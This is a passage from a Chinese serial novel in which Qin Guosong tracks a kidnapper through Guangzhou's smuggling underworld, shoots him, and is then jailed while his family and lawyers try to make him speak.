吃过中午饭,秦国颂睡了一觉。醒来一看表已是下午3点多。他想起来那个女的,于是出门去给她打传呼。 他来到电话亭,先按小雅提供给他的那个电话号码拨了号,诶,打通了。 对方接电话的是个广东人,忙问他是哪里,找谁。 秦国颂对他讲,这个电话是哪里的?他要过去找这个电话的主人,对方还是问他找谁,秦国颂说不出,对方骂了一句广东话,就把电话撂了。秦国颂再拨电话,对方不接了。 秦国颂想了想,先传呼那个女的,等和那个女的见了面让她来打电话。 过了一会儿那个女人来到了电话亭。秦国颂给她说明他要打电话找一个人,接电话的那一方说广东本地话,他听不懂,电话要通后,他让这个女人给对方说话,问一下这个电话在什么地方?他们过去找。 于是秦国颂又拨通了电话。电话通了秦国颂把话筒给了那个女人。那个女人和对方用广东本地话通话,他们说了几句,秦国颂一句也没听明白。 那女人放下电话,给了秦国颂一个甜蜜的微笑。告诉他对方正是秦国颂想要去的地方,对方是个小酒肆,离这还不远,不用打车走着的话也就10来分钟。 于是在这个女人的陪伴下,秦国颂他们来到了这个小酒肆。 这个小酒肆地方不大,也就30多平米。上午不营业,从下午开始一直经营到午夜后没了客人才打烊,怪不得上午打电话没有人接。 下午没什么人。秦国颂和那女人找了一个小角落坐下,点了两三个小菜,要了一壶酒,两个人边吃边喝。 那女人问秦国颂。 “大哥,你怎么有这里的电话?” 秦国颂说“在我住的旅店门口捡了一张名片。名片上就是留的这个电话。” 那女人又说。“你知道经常到这里来喝酒的都是些什么人吗?” 秦国颂摇了摇头。 女人压低了声音,“这地方我知道,都是拐子。” “什么意思?”秦国颂不解的问道。 “蛇头……”那女人继续说道。“拐卖人口和帮人偷渡的……” 秦国颂“哦”了一下。“你怎么知道?” “我有一个姐妹就是在这里通过这里的人去的那边……”她用眼睛瞄了一下南方。 秦国颂故意有兴趣的问道。“那需要花不少钱吧?” 那女人撇了撇嘴,伸出两个手指,“港币。” 秦国颂说。“200港币?” 那女人又撇了撇嘴。“2000.” “哦……”秦国颂若有所思地长出了一口气。 “大哥,你来这里也不会是偷渡吧?如果是的话一定要当心,别被人家骗了。这里面杂的很,好多人收了钱就找不到下家了。”那个女人提醒秦国颂。 秦国颂摇了摇头。“你看我像有钱的吗?再说了,去那儿干嘛?” “可以发大财的哟。”那女人用了夸张的嘴型说的这句话。 “现在内地人到了那边不是目的,主要的目的是去美国或者日本,那才可以挣更多的钞票。”女人继续说着。 “那出境手续怎么办?”秦国颂问那女人。 “都是假的喽。到了那边把手续扔掉。任何身份都没有,直接申请移民。好多人都是这样跑成的。” 秦国颂很有兴趣的听那女人讲着,笑着对他说。“来吧,喝口酒,顾了你还真有收获,知道了一些知识。来,干杯!” 小酒肆里就简单的几个小菜,干果,酒喝完了再去打。秦国颂竟然感觉到这里边很温馨,他还喜欢这个调调。 他俩喝着小酒说着话。一壶酒喝完了,秦国颂还想喝,起来要去打酒,那女人对他摆了摆手,拿起酒壶去柜台。 女人打回了酒。 秦国颂问那女人。“没给柜上钱吗?” 女人说。“给老板讲了,还有喝的啦,走的时候一起算。” 秦国颂又问那女人。“你认识那个老板?” 女人摇了摇头。“来过两次,也是与客人谈生意。那老板应该懂得我做的什么生意,能给他拉客人。”边说他边诡谧的对秦国颂笑了笑。“这不,我把你也拉来了。好巧呀。”说完咯吱吱的笑了起来。 秦国颂也笑。就在这时小酒馆进来一个人,紧接着后面又跟进来一个。秦国颂用眼睛瞄了一下后来的这个人,他忽然觉得有些面熟,那两个人在另一个角落坐下后,后进来的那个人的侧脸让秦国颂看了个正着,他心里惊了一下,下意识的用手去拿放在他旁边的马桶包。他心里暗暗的告诫自己,沉着,镇静,再仔细的观察观察…… 他把手缩了回来。拿起酒杯,对那女的说。“来,咱俩有缘,再干一杯!” 那女人倒很爽快。咕咚一下干了。 秦国颂没有干,他心里想不能喝多了,他有事要干。 他和女人说着话,眼睛却瞄向坐在另一个墙角的那两个人。心里打算着主意。 他心里想,这真是冤家路窄呀。怎么这么巧在这里就碰到了他了?哦,对了。想起来了,那个中年男人给秦国颂说过一句话。说他跑了,没带多少钱就跑了。嘿嘿,他竟然跑到这儿来了,竟然还让我给遇到。看来他这是想要偷渡啊……不行,我一定要等他们走了以后跟着他,看看他去哪儿,先找他问问是不是他知道或者认识把小雅拐跑的那个人。转念他又一想,难道他们是一伙的?不可能。他准确的做出了判断。不管是与不是,也许通过他能打听到拐走劫持小雅的那个人呢? 他吃着小菜抽着烟,酒只是小口小口地呡。 那个女人端起酒杯给他劝酒。他摆着手,跟那女人说。“要是能喝你就喝吧,我已经感觉到有些晕了,没喝过这种酒,不知道它的底细,不敢喝多。” 那女人冲他笑笑。拿起酒杯一饮而尽。 他继续和那女人说着话。女人喝的有点多了,于是天南地北的掏心窝子的话都给秦国颂倒了出来,干她们这一行多么的不容易,什么样的垃圾流氓都能让她们碰到。然后又说很快活,安全第一就行,不接外国人的生意,给多少钱都不接。她的姐们儿就有好几个都艾滋了……还说着趁自己年轻多干些活,等钱挣的差不多了,找个老实人嫁了就算了。然后感叹着人生,吃喝玩乐,对得住自己就行。 他又问秦国颂,有没有嫖过? 秦国颂摇了摇头,告诉她真没有。他只和自己的女朋友做过两次。并非常诚恳的对她说,真的。 女人哈哈笑了。头摇得像拨浪鼓一样。“鬼才相信了……” 然后又对秦国颂撒娇的说。“今天晚上我陪你吧,我看也没别的业务。包夜你给我100块就行。” 秦国颂看了看她。“我真的没钱,你看我像有钱的吗?” 那女人眯着眼睛。“说谎,看你就是有钱的。因为你从不还价……” 哦……秦国颂忽然发现了自己的一个弱点。自己天生就不是做生意的料,不懂得讨价还价。 这个人生价值的真谛竟然让一个刚认识的陌生女人给他说透了……一个人能从事什么行当那真是与生俱来的,有时候学是学不会的。 他们两个人正说笑的。秦国颂发现所在另一个角落的那两个人起身要走了,秦国颂赶紧拿出50元钱给了这个女人。 “赶快过去把单买了,剩下的钱归你。” 那女人忙对他讲。“哥,用不了这些。刚来的时候你不是买了单了吗?后来又要了两壶酒。十块钱都不到。” 秦国颂嘴里嗯嗯着,催她快去买单,然后让她一起跟着他走。 那两个人走出了酒肆,秦国颂让女人搀着他跟着那两个人。 女人还在给秦国颂撒娇。“哥,今天晚上我就陪你吧。你不给我钱都行。” 秦国颂点了点头。又摇了摇头。 女人又撒娇的说。“倒是同意不同意啊!人家都不给你要钱了……” 秦国颂看着前面走的那两个人,走到前面一个十字路口,两个人分手了。秦国颂认准了他认识的那个人,继续跟着他往前走。 忽然他甩开搀着他的那女人的手,快步向前面那个人走去。他走到那个人旁边,拍了一下他的肩。 “别怕。我有话要问你!” 第62章 冤家路宽(续) 那个人扭脸一看,“啊”得叫了一声,转身就要跑。秦国颂上前一把就抓住了他的脖领子,低声吼道。“别怕,我不伤害你!”他用另一只手指了指马桶包。“你不要打算跑,这里面有家伙,你也跑不了!” 这个年轻人吓得立刻瘫坐在了地上。秦国颂对他说。“咱们找个说话方便的地方,问你个事儿。说完了咱俩井水不犯河水,你走你的阳关道,我走我的独木桥。” 这个年轻人惊恐的看了看四周。秦国颂指了指距离他们有10来米远的一块空旷地。“咱们就去那边。” 他拽了拽瘫坐在地上的年轻人,没有拽起来。他招呼了一下离他们不远的那个女人,让那女人帮忙把这个年轻人架起来。这时那个年轻人恢复了一些神志,顺从的被秦国颂他们架着来到了那块空地。 秦国颂拿出200块钱递给那女人。 “你的任务完成了。你可以先走了,有事的话我可以再找你,谢谢了啊。” 那女人接过钱,知趣的走了。但她没走太远,回了头看着他俩,好似在给他们放哨。 那个年轻人依旧坐在地上,扬了脸看着秦国颂。吓得他有些结结巴巴的问道。 “真,真没想到,在这个地方碰到了你……” 秦国颂微微一笑。“我也没想到。我来这儿不是为了找你。我找另一个人……” 那个年轻人吓得赶忙说道。“你是说我们一起的那个老刘?他没跑,他还在家呢,我责任大,是我把那个看门老头摔倒的……谁知,谁知他竟然……死了呢……” 气的秦国颂噗嗤一下乐了,心想这他妈都是哪儿跟哪儿啊?于是对他说道。 “我要找的那个人不是你们俩。是另外一个人。他说他是在香港搞服装生意的,就是要问你,你知道不知道这个人。” 那年轻人摇了摇头。 “那个人活动的地点就是你们刚刚去过的那个酒肆,我去那儿也就是为了找他。” 年轻人张了张嘴,想问又不知道从何处问起,他看着秦国颂,等着他说话。 秦国颂看了看这个年轻人。拿出烟递给他一支,自己嘴上也叼了一支,自己点燃后,把打火机递给了那个人。年轻人哆哩哆嗦的把烟点着,眼里露出了感激的神色。 秦国颂吸了两口烟,缓缓的对他说道。“你的事儿呢?我也不多问,也不多管。我知道你跑出来带的钱不多,你们那位大哥都给我讲了。我有一个忙不知道你能不能帮……” 那年轻人抬起脸看着秦国颂。迟疑的吐出来几个字。“你,你让我帮什么忙?我,我能帮你什么忙?” 秦国颂说。“能帮的话,这忙不能白让你帮。我知道你想跑那边去……”他用手向南方指了指。“告诉我,你还差多少钱?” 那人迟迟疑疑地伸出了一个手指头。“差1000……” “没问题。我的忙你要是帮了的话,这钱我给你,给你2000。” 那人眼里放出光芒,面露喜色。“真,真的?” 秦国颂点了点头。“说到做到。” 他又接着说道。“你给我打听一下,一个自称是香港的搞服装生意的人,叫陈娇龙,这名字有可能是假的,这个人的体貌特征,我一会儿告诉你。你问一下帮你偷渡的那人,跟他打听是不是认识这个人,这个人在哪儿?你就说有一笔生意有人找他做。不管他在香港还是在大陆,能打听到他的消息就行。” 这年轻人点了点头。“我一定尽力给你打听。” 秦国颂又对他讲。“我的BB机号你们都知道,我现在还是用的这个号。我怎么联系你呢?” 那人看了看秦国颂,显得有些迟疑。 秦国颂看了看他。对站在远处的那个女人挥了挥手,那女人走了过来。 秦国颂走了过去,对那女人小声的说了一句什么,那女人答应着离开了。 过了一会儿那年轻人腰间的BB机响了,他看了看秦国颂,又看了看BB机。对秦国颂说。“我想去回个电话……” 秦国颂对他摆了摆手。“不用回了,你上次约我见面给我留的就是这个传呼机的号。我有事的话就给你打这个传呼。” 秦国颂接着又说道。“好了,这事儿我也跟你说清了。你看着办吧!记住了,不准耍滑头。要是把我惹恼了,我包里的家伙可不答应。” 说完他拿出200块钱。“这是先给你的喝茶的钱。等事给我办成了,再给你2000。” 那年轻人接过钱。给秦国颂鞠了一躬。“大哥这样的仗义!兄弟一定要尽力而为。办成办不成,尽快的给你消息。” 秦国颂与他握了握手。“相信你,一定能办成!好吧,你可以走了。” 那年轻人看了看秦国颂。转身走了。 …… 秦国颂看了看表,还不到晚上6点,他觉得没地方可去,想了一下,决定又回那个小酒馆。万一还能有其他的新的收获呢?再就是他可以在那里吃晚饭。 他又回到了那个小酒肆,又找了个偏僻的角落坐下。要了一壶酒,几个下酒小菜。 老板见又是他来了,客气的对他打着招呼。秦国颂也没有多说话,独自喝着小酒,抽着烟,打量着旁边的人。 就在这时,与他分手的那个女人也回来了。她一进酒肆的门,就看到了秦国颂,径直奔他走了过来。 他坐到了秦国颂对面。对秦国颂说。“我在电话亭那儿等你,你也没来,就猜到你跑这儿来了。过来一看,真在这里。我陪着你,咱俩一块喝。” 秦国颂点了点头。对她说。“想吃什么你就要。” 那女人笑着说。“咱还是喝酒吧?” 于是他俩都倒满了酒。一杯一杯的喝。 女人也不说话。拿起酒杯与秦国颂碰杯,慢慢的喝。 秦国颂也不说话。看着那女人,拿起酒杯,依旧是慢慢的喝。 一会儿那女人又在柜台上要了一壶酒。并且付了钱。 那女人边喝酒边想。这到底是个什么人呢?他到底是干什么的呀?她觉得坐在她对面的这个男人挺神秘的,一定不是个普通的人。但是她又不敢多问,职业的习惯告诉她,不该知道的事情知道多了,会给自己惹上麻烦。 秦国颂也不多给她解释。他觉得反正钱也付清了,而且还是多给了,不欠她的,从良心上来讲,已经对得住她了。他们两个人就是萍水相逢,一打一散的事儿。没必要闲篇扯的太多。再说了,她坐在这里陪他喝酒,还能减少一些人对他的注意。何乐而不为? 两个人默默的喝酒。有的时候互相举起酒杯,会意的相互一笑,把酒喝掉,在随意的吃着桌上的小菜,那场面让外人看了,觉得有些温馨,还挺有点调调。 外面的天色暗了,小酒馆开始上人了。 秦国颂开口了。“这酒喝着挺爽的吧?” 那女人点点头。 秦国颂又说。“这屋里的人说的大都是广东话。我听不懂。你可以给我翻译,他们讲的都是什么?” 女人微微一笑。“不知道你要听什么?” 秦国颂也微微一笑。“什么都行。解闷儿就行。” 女人又笑了。“他们说的我有的也听不懂。好多人都不是本地人。他们说着他们家乡的方言,我也听不懂。” “哦。”秦国颂略微的思索了一下。“那就算了,咱俩还是喝酒吧。” 那女人又说。“你不打算吃点什么吗?” 秦国颂说。“我也不知道这里有什么吃的。吃碗面就行。” 女人说。“行。什么时候想吃我什么时候给你去要。” 女人又接着说。“吃完饭你去哪儿?” 秦国颂说。“哪儿都不去。回旅店睡觉。” “要我陪着你吗?你给了我钱了。” 秦国颂说。“不用。给了你的钱,那是今天你陪着我聊天儿给你小费。吃完饭你随便去哪都行。我一个人回去睡觉。” 那女人“哇”了一声。“你这个老板蛮大方的喽。” 秦国颂微微一笑。“明天我可能就回去了,你就不要再来找我了。如果我需要你,再给你联系,好吧?” 女人点了点头。“你好神秘……” 秦国颂笑了笑点了点头。“有点不正常……”他又补充了一句。“就是人们说的,傻逼。” 女人咯咯的笑了起来,点了头承认。 秦国颂也开心的笑了。 秦国颂正常起来比谁都正常。要是不正常起来比谁都不正常。他有的时候干的事情都在情理之中,有的时候却令人匪夷所思。这,就是秦国颂。就是这样一个人,却偏偏有很多人喜欢他,爱他。 第63章 反转 晚上秦国颂回到了旅店。他躺在床上,脑海里闪现这一天发生的事情,思来想去觉得这事情交给了那个年轻人去办,感觉有些不太妥当。他觉得劫持小雅的那个人就在那个小酒馆一片活动,小雅这单生意做成以后,他们应当在短时间内销声匿迹。尽管这件事没有报案,但作案人迫于心理压力也应当会有所收敛,他们会去尽情地消费他们非法所得来的钱财。他觉得他又要去一些豪华的场所去寻找他们。这些所谓的豪华场所,除了歌厅就是赌场,赌场明面上没有,那全都是地下的,生人是进不了那地方的。 他决定去歌厅转一转。他看了看表,晚上10点。这个点对于广州的不夜城来说,夜晚刚刚开始。 他想他一个人去的话,人生地不熟。再说哪有一个人去歌厅的。去酒吧一个人还差不多。他决定一个人去酒吧转一转。 就在他穿好衣服准备要出门的时候。他的BB机响了,他看了一眼BB机的屏幕,显示了几个字。睡了吗?亲爱的。这是今天他认识的那个女人给他发来的。 他笑了笑。心想正好给她回个电话。如果她要是有时间的话可以陪着他一起去歌厅。 他来到了街上的电话亭,给那个女的拨了电话。还好就是那个女人接的。 秦国颂问她在哪?她说她在歌舞厅。她暂时无聊闲的没事儿给秦国颂发的信息。并且对秦国颂讲,如果想她了,她可以去找他。秦国颂告诉她,他去歌舞厅找她。 那女人告诉了她在歌舞厅的位置。秦国颂打了车,不一会儿就到了。 秦国颂来到歌舞厅的大厅内,歌舞厅里人很少,秦国颂一眼就看到了坐在吧台旁边的那女人。他挨着那女人坐下,女人给他要了一杯酒,两人边喝边聊。 他们正聊着。这时过来两个男人,也坐在吧台旁边,围着吧台喝酒。秦国颂听老板对他们讲。舞女要过了午夜12点才能到,现在看到的那些舞女年纪都比较大,年轻的妹妹后半夜太多了,别急,慢慢喝着小酒,耐心等待。 秦国颂转脸看了看,在舞池里游曳的那几个女人,比在他身边的这个女人年纪还都大,而且个个都浓妆艳抹,俗不可耐。他这个和那些女人比起来还真的算是鸡窝里的凤凰,秦国颂给她呶了呶嘴,示意她挑舞。 女人离开吧台。用手搭在秦国颂肩上,随着轻柔的舞曲挪开了脚步。 秦国颂小声对她讲。“我可不会跳舞,真的。” 那女人轻轻一笑。“来这里的男的和女的基本上没有什么会挑的,就是抱在一起蹭,来了感觉,就去开房……” “嗯……”秦国颂嘴里嗯着,放下了心,跟着节奏瞎走吧。 那女人慢慢的抱紧了他。他也随着气氛抱紧了那女人。那女人似乎有些动情,头扎在他的怀里,嘴里柔柔的发出呻吟声……秦国颂下体似乎有了些感觉,这种感觉和小雅的不一样,和小雅是一种怜爱的感觉,和二凤的更不一样,和二凤是心跳加快,似乎要窒息的那种感觉。和现在抱着的这个女人呢,那两种感觉都没有,就是有了想要交配的那种冲动…… 就对这时他腰间的BB机震动起来,他松开了拥抱着的女人,看了一眼哔哔机屏幕。速来小酒馆。下面那个电话号码就是他再熟悉不过的小酒馆的那个电话。 他和那女人打了招呼,拎起了放在吧台下面的马桶包。匆匆的走出了歌舞厅。那女人追了出来,说要跟他一起走。他摆了摆手,说他一会儿就回来,让她等着。 那女人怏怏的转身回了歌舞厅。 秦国颂打了车来到了小酒馆,他没有立刻就进去,而是在外面观察了一会儿,这才推门进了小酒馆。 酒馆里现在可真热闹,人也很多。有几桌的人在划着拳喝着酒。他用眼睛扫量了一圈酒馆里的人,发现一个角落里坐了三个人,其中有一个人就是他交给任务的那个年轻人。他径直的向那三个人走了过去。 那个修录像机的年轻人站了起来,他给秦国颂介绍另外两个人。说这都是道上的朋友,有什么困难可以向他们讲,他们可以替你办。并且收费还是挺公平。 秦国颂与另外两个人握了手,坐下。 他打量的那两个人,其中一个人他凭直觉就能感觉到就是安康给他形容的那个人。秦国颂心想着在什么地方,什么时候下手。 他没有谈服装生意这方面的事情。只是跟那两个人咨询了去那边具体手续怎么办?需要花多少钱? 那两个人其中的一个人告诉秦国颂。只需他准备钱就可以了,所有的手续都由他们来办理。并且告诉他5000块钱全部费用。 说完后,其中一个人用眼睛盯着秦国颂看。 秦国颂和看他的那个人的目光对了一下。问道。“什么时候交钱?” “现在!”那个人冷冷的回答。 秦国颂说。“先交一部分,等到了码头,再把其余的款付齐。” 那人盯着秦国颂看。“哦。你这是不相信我们。” 秦国颂摇了摇头。“我要是不相信就不会来了。我不能把钱都给了你们。万一……” 另外那个人摆了摆手。打断了秦国颂的话。“我看这生意就别谈了,没诚意。” 秦国颂还要张嘴解释。那两个人已经站了起来。其中一人对那个修录像机的年轻人说。 “你那钱要抓紧时间凑齐,最迟明天。不然的话……”他指的是秦国颂。“跟他一样,卷铺盖卷儿,滚蛋!回你们老家去!” 说完两个人嘴里骂骂咧咧的走出了小酒馆。 秦国颂赶紧跟上前去解释。他拉着那个安康给他提供的体貌特征非常相似的人央求道。“别急呀,陈先生!陈娇龙先生,我一次性付清还不行吗……” 那个人惊愕瞪着眼睛看着秦国颂。“你刚才叫我什么?” 秦国颂一副乞求的样子。“你不是姓陈,叫陈娇龙吗?陈先生,你不记得我了?你以前给我办过事情。” 那个人强挤出一丝微笑。“你是谁?在什么地方?我给你办过事情。” “你忘了吗?陈先生。在一个大酒店,你那时是一个著名品牌的服装代理。我跟你谈过业务,在酒店大厅。我那时做服装生意……”秦国颂边说边拉开马桶包。“服装生意不做了,想去那边,在那边发点小财捞点外快……我现在就给你拿钱。” 那个叫陈娇龙的人没等秦国颂说完。一甩手转身就走。秦国颂边打马桶包边在后面跟着。他越走越快,竟然小跑起来。秦国颂在后面跟着跑。边跑边说。 “钱拿出来了,给你钱呀。” 那个人头也不回撒腿就跑。 秦国颂拿出了他那把改制的霰弹枪。对他喊道。“站住!” 那人跑得更快。秦国颂一口扳机,枪响了,打在那人腿上。那人扑通一声就跪在了地上。秦国颂追上前去,用枪口抵住了那个人的嘴,他看了一下四周,跟他们一起出来的那两个人早已跑得无影无踪。他厉声问道。 “陈娇龙!问你一句话,如实回答。我不打死你!” 陈娇龙嘴里含着枪头说不出话来,连连点头。 “小雅在哪?”秦国颂从他嘴里抽出了枪筒。 那人看了秦国颂一眼,摇了摇头。 秦国颂用枪顶住他的额头。“快说!说了我饶你不死!” 那人把眼睛闭上。浑身抖动,磕磕巴巴的说。“他姥爷把他赎走了……回台湾了……” “胡说!”秦国颂厉声呵斥道。 “真的没胡说,我们都拿到佣金了……” “谁指使得你?!” “一个叫阿彪的香港人……” “这次偷渡也是找他接头吗?” 陈娇龙点了点头。“彪哥你找不到的。我都见不到。我们就是电话和传呼机联系。” 秦国颂哦了一声。扣动了手中的扳机。陈娇龙的脑袋立刻就开了花。他又在他身上把枪里的三颗子弹全部打完,五连发霰弹枪算完成了任务。 他用脚踢了踢躺在地上的陈娇龙。知道他活不了了。把枪扔到一边,坐在地上点着一根烟等待着警察…… 第64章 三入高墙 秦国颂疯没疯不太清楚,但大风确实疯了。 这几天接二连三发生的事几乎让她精神崩溃。 她现在唯一可以依靠的人就是王清文了。 先是小雅的失联。然后就是秦国颂。 在她备受煎熬的几天的期待中,小雅给她打来了电话。哭诉着给她讲述了被劫持的经过,并且安慰她告诉她,她现在在台湾与她的姥爷在一起,什么时间回去还没有确定的日子。总之时间不会太长,这对于大凤失去小雅的心情无异于是又一次的被劫持。 然后就是秦国颂。广州市公安机关根据秦国颂哔哔机里的电话号码给大凤家拨通了电话。告诉她秦国颂在广州杀人了,杀的是谁?为什么要杀人?到目前没有弄清楚。因为秦国颂被抓后一句话都不肯说。问他什么都不说。并且告诉她让秦国颂的家人来广州一趟,帮助协调,让秦国颂开口。 大凤听到了这两个消息。尤其是第二个秦国颂的消息。真的就如同是晴天霹雳。她不疯掉才怪。 王清文安慰着大凤。并且帮助她料理黄国英的日常。这两件事也惊动了老检察长张子东。他与王清文商量。 张子东。“这事儿啊我打算与公安局的我以前的一个部下通通气,让他们先与广州方面联系一下,听一下那边的进展。再就是呢,找一个律师。一同去广州那边见一见秦国颂。先了解一下事情的完整经过。才能再商定事后事情的处理方案。” 王清文点了点头。“如果事情需要我的话,我可以跟着去一趟。以便把事情了解的更清晰一些。在做商议。” 大凤呆呆的在听着他们两个人说话。半晌,她说道。“我也要去!” 王清文劝她,“你最好不要去了。去了你也见不到人。我们去了,能不能见到他还不一定……再说了,国英这边也需要人照顾啊。” 大凤目光呆滞的点了点头。 安康也听说了这一不幸的消息。他露过一次面以后就再也没来。他知道这事情与他有脱不清的关系。他与秦国颂透露过那个冒充香港商人的信息。如果被杀的是那个人……他有些不敢往下想了。 他觉得他闯了大祸。如果广州警方通过秦国颂的BB机的呼叫记录找到他了解情况。他怎么回答?他在考虑着对策。忽然他有了一个奇妙的想法……秦国颂的精神不太正常。对。就用这句话开脱,开脱谁?开脱他自己……安康真是一个极聪明的人。 …… 秦国颂被关进了广州市的一个看守所。 他只回答了警察们询问他的一句话,他叫秦国颂。接下来警察再怎样问他,他也不回答。警察们想尽了办法让他开口说话,他一句也不说。 警察唯一的线索就是他BB机里的电话信息。警察通过这些信息查找有用的线索。 从小酒馆里跟着秦国颂他们一起出来的那两个人,从远处看到秦国颂开枪杀了人,早已经吓得跑到不知去处。只是其中一个与被害的那个人是同伙的打的报警电话。打完电话后便不知去向了。 秦国颂被押着进了监号。从他被抓一直到进监号手铐一直戴着。进监号后同监号的人一齐看着他。有人问他。 “怎么进来的?” 他没回答。 “犯了什么事儿进来的?” 他仍然没有回答。 那人上前就给了秦国颂脸上一拳。秦国颂躲都没躲,举起戴着手铐的双拳,照准那个人脸上一抡,那个人咣的一声栽倒在地上。监号里其他的人胡拉一下围住了秦国颂,不由分说对准他就是一阵拳打脚踢。打了一会儿,看秦国颂不动了。其中一个看着像是监号的牢头的说了一句。 “别给他打死了。” 秦国颂躺在地上,闭着眼睛一动不动。这时过来一个人低头看秦国颂。那个人把手伸到秦国颂的鼻子下面。小声的说了一句。 “好像是没气儿了……” 他话音还没说完。秦国颂猛地坐起。戴着手铐的双手套在了他的脖子上,然后使劲一勒,那人立刻就翻起了白眼。号里的人的一阵骚乱…… 在这里是大铁门哗啦响了,警察冲了进来,厉声何斥让秦国颂住手。秦国颂的双手依旧紧紧的套了那个人的脖子。警察见状,忙招呼几个人费了大劲才把那个人的头从秦国颂的双手中拉了出来。那个人翻着白眼一动不动的躺在地上。这时又闯进了两个警察。其中一个用警棍一下子就把秦国颂打倒,他们三个人把秦国颂拖出了监号。 秦国颂被拖到另一间的监室,五花大绑的被绑在了床上。 一个警察一边喘着气,一边嘴里骂到。“这他妈不是个精神病吧?他哪儿来的那么大力气?” 秦国颂一直独自被关在一个监号里。他不开口说话的原因只有一个。不想牵涉到小雅,不想让小雅被劫持的这一案件成为公众事件。因为王文甫没有报警,他也不想牵扯王文甫。 警察看从他的嘴里得不到案件线索,就采取其他的刑侦手段取得线索。毕竟他这是一个涉及到杀人的行凶大案,一定要全力侦破。认准目标的行凶杀人一定是有其中的原因的。并且他还是千里迢迢的赶到这里有目标的有目的的将人杀害,这其中必定有深仇大恨。 两天过去,秦国颂依然没有开口。这天他的BB机里忽然有了这样一条显示。亲爱的,在干嘛,想你了。这条信息没有预留电话。但警方很快就查到了这条电话的出处,发信息的电话号码是在台湾。警方按这个电话号码打了过去,对方很快就接了电话。当警方询问具体的电话人以及电话的住处,对方立即的挂断了电话。警方再次拨打电话,对方已无人接听。 警方把重要的目标锁定在了大凤家。他们再次拨打了大凤家的电话。大凤告诉他,他们这边已经报了警,这边的警方会与他们那边的警方通话的。很快这边将会派人去广州,协同警方破案。 这边的警方派了两名干警,一名律师,还有王清文四人一起登上了去广州的列车。 他们出发时安康给他们提供了一个比较重要的线索。安康说他与秦国颂结识20多年,对这个人非常了解。这个人精神上有毛病,平时看着很正常,但有的时候做出事情来,常人不能理解,甚至超出常人的想象。比如等等等等……给他们举出了几个范例。 律师听过后摇了摇头。具体的精神分裂要经过司法机构的精神鉴定才可以。我们说了不算。但可以结合秦国颂目前的精神状况提出这一建议。要经过司法机构鉴定才可以确定。 王清文与律师一行人来到了广州某看守所。 办完了相关手续后。律师与那两位警察与秦国颂见了面。王清文被拒,只能在外边等待。 大约过了一个小时左右,律师与那两位警察走了出来。 他们出来后在附近找了一个旅店住下。王清文问律师情况怎么样?律师无奈地摇了摇头。秦国颂拒绝交谈,只简单的回答了几个问题。律师开导了他让他陈述一下作案经过和理由。他摇着头,对律师说。你们别费这个劲了,我反正是死定了。说与不说就是一个死。他头脑很清楚,不像是有精神疾病的人。我把他的情况与看管他的警方反映了,警方已认真记录。答复在必要的情况下要给他做一个精神鉴定。 律师说完后无奈的摇了摇头。这样的案例还真的没有碰到过。当事人为什么这样抗拒交谈?这里面一定是有原因的。话说回来,他就是不说。案情的事实在那摆着呢,他也逃避不了惩罚呀。 他把被害人打死以后,把枪扔了等着警察,警察到了以后,看到他坐在地上悠闲的抽着烟…… 当事人的心理素质真的是太强大了…… 第65章 开口 王清文他们一行四人回到了旅店,商议怎样能让秦国颂开了口。那两位警察其中的一人说道。 “我与这边刑侦队的队长沟通,他对我讲,现在最重要的就是搞清他为什么要杀这个人,被害人的身份信息,到目前都没有找到。希望咱们这边能配合,找到能让秦国颂开口的那个人……” 另一个警察接着说道。“看目前的情况,他一时半时的还不会开口讲。那咱们待在这里的意义也不是很大了,倒不如咱们回去与他的家人或者其他的什么人商议一下,让他们给咱们提一个可行的建议。” 律师点了点头。 王清文说,“据我所知,秦国颂多年都没有跟他们家人联系了。他的父亲又和他脱离了父子关系,从在10多年前他第一次进监狱他父亲就与他脱离父子关系了,他基本上也没有与他的家人们联系过。我看咱们回去还是找大凤商量吧。” 那两位警察互相看了看,无奈的摇了摇头。只能这样了,这种事还真不多见。 …… 第二天他们乘坐火车启程,到达以后人没有歇息,来到了大院。先去了张子东那屋,给老检察长汇报情况。张子东看着他们几个人问道。 “这都好几天了。广州那边的警方竟然什么都没有问出来?这个秦国颂啊,还真不是一个一般的人……谁能让他开口说话呢?” 王清文说道。“我在给大凤商量商量。看看她能有什么好办法。” 张子东摇了摇头。“她呀,这几天都有些神叨叨的了,小雅的事,又加上了个秦国颂,她的心有些快承受不住了……不行的话给二凤打个电话,让她来一趟。家里出这么大事儿,她总应该回来露一下面呢。” 王清文去那屋叫了大凤过来。让大凤打电话给二凤说。大凤拿起来电话,给二凤拨号。 电话通了。大凤把家里最近发生的事情给二凤简单的说了一下,现在关键是秦国颂,被关押在广州…… 电话那边的二凤沉吟了一下。缓缓的说道。“明天我回一趟家,我从北京请一个最好的律师。明天见了面再说吧。” 第二天,二凤开了车,带着她请的律师来到了阔别已久的大院。 她详细的听了整个事情的来龙去脉。平静的对她请来的律师说道。 “这件事就拜托您了。具体能否让他开口我给他写一张便条。如果他仍旧不开口的话,我们再想其他的办法,一定要想尽一切办法让他把真实情况讲出来。” 说完她拿出一张纸。写下了几个字。 国颂,请求你开口讲话。我要你活着……有什么话可先对我给你请的律师讲。等着你,风。1993年,9月18日。 二凤写完后,长出了一口气,把纸条递给了她请的律师。 “只能拜托您去办理了。如果纸条不能带进去给他看。你就口述我纸条上写的意思……” 律师接过纸条,点了点头。“得到看守所方面的允许,我觉得可以给他看。他看到你亲笔写的字他才会相信呢。这一点我去给那边解释,咱们的目地都是一个,就是让他开口说话。” 律师接着又说道。“我一个人去广州就行了。别人就不要去了,去了也没用,见不到他。” 二凤和律师握了握手。“那就这样,我们也不多耽搁了。”她对家里的其他人说。“我带着他到石家庄去坐飞机。送走他我就直接回北京了。家人们都保重吧!” 二凤真的是太忙了。到了家连饭都没有吃。匆匆忙忙的就走了。 此时的二凤的真实身份是北京的一个电影电视剧制作监管中心主任。正厅级。 在改革大潮强烈的影响和冲击下,全民下海经商成为弄潮儿…… 北京方面的律师到达广州后。广州方面的警方觉得被关押的这个秦国颂有可能有些来头,起码他的背景不可以小觑。传说他与央视的领导还有一些关联,当然这只是一些传说。人但凡有了一些背景,是免不了被别人夸大宣传的。尽管这些背景和宣传对秦国颂的量刑没有什么直接的关系。但在广州警方的心理上带来了一些压力,他们认为对这个人对这个案子一定要慎重。第一,确保秦国颂的人身安全,第二,尽快找精神方面的专家给秦国颂进行精神鉴定。第三,案件尽快提交检方提起公诉。不管怎么说。他确实是杀了人了。他自己也承认。第一枪打在被害者的腿上,第二枪对准被害者脑袋直接开了花。随后又在被害者的身上补了三枪。 广州警方安排北京来的律师和秦国颂见了面。见面时只有律师和秦国颂两人。没有第三人在场。 